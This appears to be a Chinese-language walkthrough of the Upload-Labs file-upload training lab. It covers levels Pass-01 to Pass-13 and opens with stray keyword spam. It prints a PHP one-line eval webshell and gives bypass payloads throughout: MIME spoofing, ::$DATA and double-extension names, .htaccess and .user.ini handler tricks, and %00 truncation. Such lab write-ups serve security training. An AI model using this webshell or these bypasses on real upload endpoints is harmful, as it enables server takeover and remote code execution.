网站设置超链接,微信公众平台登录界面,海南人才网,品牌建设策略有哪些Upload-Labs 索引前言Pass-01题解 Pass-02题解总结 Pass-03题解总结 Pass-04题解 Pass-05题解总结 Pass-06题解总结 Pass-07题解总结 Pass-08题解总结 Pass-09题解 Pass-10题解 Pass-11题解 Pass-12题解总结 Pass-13题解 靶场部署在 VMware - Win7。 靶场地址#xff1a;https… Upload-Labs 索引前言Pass-01题解 Pass-02题解总结 Pass-03题解总结 Pass-04题解 Pass-05题解总结 Pass-06题解总结 Pass-07题解总结 Pass-08题解总结 Pass-09题解 Pass-10题解 Pass-11题解 Pass-12题解总结 Pass-13题解 靶场部署在 VMware - Win7。 靶场地址https://github.com/c0ny1/upload-labs 部分题目可能需要白盒审计。 索引
Pass-01前端绕过。Pass-02MIME-Type 绕过。Pass-03黑名单绕过之 ::$DATA 与双写绕过。Pass-04.htaccess 利用。Pass-05.user.ini 利用。Pass-06黑名单绕过之大小写绕过。Pass-07黑名单绕过之空格绕过。Pass-08黑名单绕过之点【.】绕过。Pass-09黑名单绕过之 ::$DATA 绕过。Pass-10黑名单绕过之点空格点绕过。Pass-11黑名单绕过之双写绕过。Pass-12白名单绕过之 %00 截断绕过GET 方式。Pass-13白名单绕过之 %00 截断绕过POST 方式。
前言
编写一句话木马并更改后缀为 .jpg。之后的实验都基于这个木马。
?php echo Hello!;eval($_POST[hello]);
?相关文章
《一句话木马eval($_POST[“cmd“]);是什么意思》 https://blog.csdn.net/qq_62708558/article/details/123030828
Pass-01
题解 任何前端验证都是纸老虎。 上传时使用 burp 拦截并将文件后缀修改回 .php。 上传成功右键查看文件地址。 木马已成功执行。 尝试蚁剑连接成功。 Pass-02
题解
上传文件并进行后缀与 Content-Type 绕过。 上传成功。 总结 MIME-Type资源媒体类型。 MIMEMultipurpose Internet Mail Extensions多功能网际邮件扩充协议。
MIME 设计的最初目的是为了在发送电子邮件时附加多媒体数据让邮件客户程序能根据其类型进行处理。当 MIME 被 HTTP 协议支持后使 HTTP 传输的不仅是普通的文本而变得丰富多彩。访问网页获得一个资源后浏览器通过 MIME Type媒体资源类型标识资源类型更准确的说是通过 Content-Type 标识。 例如Content-Type: text/html 通常只有广泛应用的格式才会获得一个 MIME Type如果是自定义的格式一般只能以 application/x- 开头。
常见的 MIME 类型
超文本标记语言文本.html、.htm text/html普通文本.txt text/plainRTF 文本.rtf application/rtfGIF 图形.gif image/gifJPEG 图形.jpeg、.jpg image/jpegau 声音文件.au audio/basicMIDI 音乐文件.mid、.midi audio/midi, audio/x-midiRealAudio音乐文件.ra、.ram audio/x-pn-realaudioMPEG 文件.mpg, .mpeg video/mpegAVI 文件.avi video/x-msvideoGZIP 文件.gz application/x-gzipTAR 文件.tar application/x-tar
Pass-03
题解
之前的方法均失败。不过仍然是黑名单过滤。
由于靶场部署在 Windows利用 Windows 保存文件的特性尝试将后缀名改为 .php::$DATA。
上传成功但无法访问。 猜测后端过滤了 ::$DATA尝试以下后缀名双写绕过
.php::$D::$DATAATA上传成功。 总结
::$DATA 是一个与 NTFS 文件系统相关的特殊数据流的命名约定用于存储与文件关联的额外数据。 NTFSNew Technology File System是 Windows 上常见的文件系统支持文件的元数据和附加数据存储。 Windows 上如果文件名 ::$DATA系统会把 ::$DATA 之后的数据当成文件流处理且保持 ::$DATA 之前的文件名。
例如文件名为phpinfo.php::$DATAWindows 会自动去掉 ::$DATA 将文件保存为 phpinfo.php。
除此以外服务端对不合法的后缀名进行替换为空是常用手段。
Pass-04
题解
这一题使用 .htaccess 文件进行黑名单绕过。但尝试了很多版本与配置都没办法复现。这里只记录大致过程。
创建一个 .htaccess 文件并写入以下内容。
FilesMatch 520.jpgSetHandler application/x-httpd-php
/FilesMatch先上传 .htaccess 文件再上传 jpg 格式后门。即可过关。
但是失败了。可能实现条件比较苛刻。
这里附上几篇参考文章
《文件上传-uploadlab通关手册》 https://blog.csdn.net/qq_51153463/article/details/124547943
《upload-labs通关总结|那些年踩过的坑》 https://blog.csdn.net/m0_56691564/article/details/127614557
Pass-05
题解
已知在靶场服务器的上传文件保存目录下存在 readme.php 文件。
先上传如下 .user.ini 文件。
auto_prepend_file520.jpg再上传木马之后访问 readme.php 文件即可。 总结
参考文章
《【文件上传漏洞】user.ini留后门》 https://blog.csdn.net/weixin_53146913/article/details/124840296
《文件上传.user.ini的妙用》 https://blog.csdn.net/weixin_52635170/article/details/126962920
Pass-06
题解
上传检测基于黑名单尝试使用大小写绕过。抓包修改后缀名部分字母大写。 之后复制链接访问即可。
总结
对于文件名Windows 系统对大小写不敏感。Linux 系统默认对大小写敏感如需修改则需要特殊配置。
Pass-07
题解
使用空格绕过。
抓包修改后缀名在文件名最后加上一个空格。 之后访问即可。
总结
Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。
如果这样命名系统在保存时会默认去除末尾的空格和点。
Pass-08
题解
使用点绕过。在文件名最后加上一个点。 上传成功。
总结
Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。
如果这样命名系统在保存时会默认去除末尾的空格和点。
Pass-09
题解
原理与 Pass-03 相同::$DATA 绕过。 Pass-10
题解
点空格点绕过利用验证规则不完善。 Pass-11
题解
双写绕过。 服务端对不合法的后缀名进行替换为空是常用手段。 Pass-12
题解
这题通过代码审计可以发现发现 $img_path 变量可控。
使用 %00 截断让后面的代码不执行。 总结
%00 截断
利用手动添加字符串标识符的方式来将后面的内容进行截断。PHP 5.3.4。php.ini 文件中 magic_quotes_gpc Off。
Pass-13
题解
与 Pass-12 一样$img_path 变量依旧可控但是使用 POST 传送。
POST 传送的数据不需要编码也就是说数据不会自动解码此时需要使用 burp 解码。 为山者基于一篑之土以成千丈之峭凿井者起于三寸之坎以就万仞之深。 ——《刘子》北齐刘子